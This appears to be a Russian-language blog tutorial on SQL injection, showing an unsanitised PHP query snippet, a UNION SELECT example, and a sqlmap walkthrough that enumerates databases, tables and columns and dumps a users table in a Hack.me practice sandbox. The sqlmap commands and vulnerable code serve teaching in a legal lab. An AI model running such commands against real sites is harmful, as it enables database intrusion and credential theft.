Hack.me, Basic SQL инъекция с использованием sqlmap.

Практически любой сайт использует СУБД, в них хранятся ссылки,пользователи,пароли и много другой информации. SQL инъекция это очень популярный вид атаки на web-приложения  основанный на внедрение операторов SQL в запросы.


Допустим у нас есть скрипт который ищет  id в базе данных и выводит это:


$id = $_GET[‘id’];

$query = «SELECT * FROM news WHERE id=$id»;


http://example.org/script.php?id=5 и выполниться следующий запрос SQL:


SELECT * FROM news WHERE id=1


Если запрос не как не фильтруется мы может его видоизменить и послать базе совсем другой запрос  http://example.org/script.php?id=5 UNION SELECT 1 


SELECT * FROM news WHERE id=1 UNION SELECT 1


Это базовый принцип работы SQL инъекции, я не буду здесь разбирать подробности. Конечно я вам рекомендую более глубоко познакомиться с принципом и работой SQL запросов. Имея базовые знания  мы может использовать уже готовые решения для нахождения и эксплуатации SQL-injection. Например известнейшая утилита с открытым кодом SQLMAP.


Что она только не умеет :


Полная поддержка  MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB и HSQLDB.
Полная поддержка шести техник SQL-инъекций: слепая логическая (boolean-based blind), слепая, основанная на времени (time-based blind), основанная на ошибке (error-based), основанная на запросе UNION (UNION query-based), многоярусные запросы (stacked queries) и вне полосная (out-of-band).
Поддержка прямого подключения к базе данных без прохода через SQL инъекцию, посредством введения учётных данных СУБД, IP адреса, порта и имени БД.
Поддержка перечисления пользователей, хешей паролей, привилегий, ролей, БД, таблиц и колонок.
Автоматическое распознавание форматов хешей паролей и предложение их взлома с использованием атаки по словарю.
Поддержка сдампливания записей таблиц БД.
И это не все его возможности!

Конечно сразу очень хочется попробовать  ее в деле )) И у нас есть такая законная возможность благодаря отличному sendbox проекту  Hack.me. Где можно попробовать свои силы в  тестировании на проникновении web приложений.





Я нашел подходящий нам sendbox Very basic SQL injection.


Запускаем, переходим по ссылке и попадаем в простую форму входа:





Ну что же, натрави на нее sqlmap:


python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php —banner —random-agent —forms —dbs


-u URL сайта.-u URL сайта.

—banner Баннер, получение информации о СУБД.

—dbs Перечислить базы данных СУБД.

—random-agent Использовать случайно выбранное значение заголовка HTTP User-Agent.

—forms  Парсить и тестировать формы на целевой URL.


Отвечаем на всякие вопросы и в итоге получаем с начало информацию  об найденных уязвимостях :





Собственно потом нам предложили воспользоваться ее для получения списка баз данных :




База information_schema стандартная и в ней думаю ничего интересного нету.


python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php -D mydata —tables —forms


-D Указываем базу данных.

—tables Перечислить таблицы базы данных СУБД.




Едим дальше :


python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php -D mydata -T users —columns —forms




Теперь нам осталось только заглянуть в таблицы :


python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php -D mydata -T users -C username —damp —forms


-T                        Таблица.

-С                        Колонка.

—dump              Сдампить записи таблицы базы данных СУБД.



Дальше я думаю вы конечно же разберетесь )))


You have logged in. Here’s my top secret message:


I am a unicorn. SHHH! Don’t tell anyone.



Добавить комментарий

Автору будет очень приятно получить обратную связь.

Комментариев 0